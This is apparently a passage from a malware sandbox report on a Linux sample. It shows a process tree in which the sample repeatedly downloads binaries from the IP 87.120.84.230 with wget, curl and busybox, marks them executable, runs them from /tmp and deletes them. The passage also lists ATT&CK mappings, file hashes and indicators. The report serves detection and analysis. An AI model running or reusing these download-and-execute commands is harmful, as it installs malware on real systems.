  /bin/busybox wget http://87.120.84.230/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  PID:961
- /bin/chmod
  chmod 777 wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  ./wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  PID:964
- /usr/bin/wget
  wget http://87.120.84.230/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  PID:967
- /bin/chmod
  chmod 777 yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  ./yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  PID:970
- /usr/bin/wget
  wget http://87.120.84.230/bins/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  PID:971
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  PID:973
- /bin/chmod
  chmod 777 ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  - File and Directory Permissions Modification
  PID:974
- /tmp/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  ./ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  - Executes dropped EXE
  PID:975
- /bin/rm
  rm ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  PID:976
- /usr/bin/wget
  wget http://87.120.84.230/bins/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  PID:977
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:978
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  PID:979
- /bin/chmod
  chmod 777 JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  - File and Directory Permissions Modification
  PID:980
- /tmp/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  ./JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  - Executes dropped EXE
  PID:981
- /bin/rm
  rm JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  PID:982

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

Download Submit

ioc	pid	Process
/tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N	741	wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
/tmp/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3	747	yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
/tmp/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU	753	v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
/tmp/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O	775	JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
/tmp/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ	810	ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
/tmp/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4	816	OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
/tmp/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP	852	dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
/tmp/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U	861	4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
/tmp/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx	867	M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
/tmp/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ	873	UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
/tmp/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP	879	NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
/tmp/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf	885	oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
/tmp/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU	891	NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
/tmp/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe	897	uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
/tmp/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx	903	M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
/tmp/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4	909	OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
/tmp/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP	915	dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
/tmp/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U	921	4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
/tmp/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe	927	uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
/tmp/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ	933	UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
/tmp/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP	939	NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
/tmp/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf	945	oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
/tmp/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU	951	NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
/tmp/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU	957	v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
/tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N	963	wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
/tmp/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3	969	yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
/tmp/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ	975	ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
/tmp/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O	981	JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O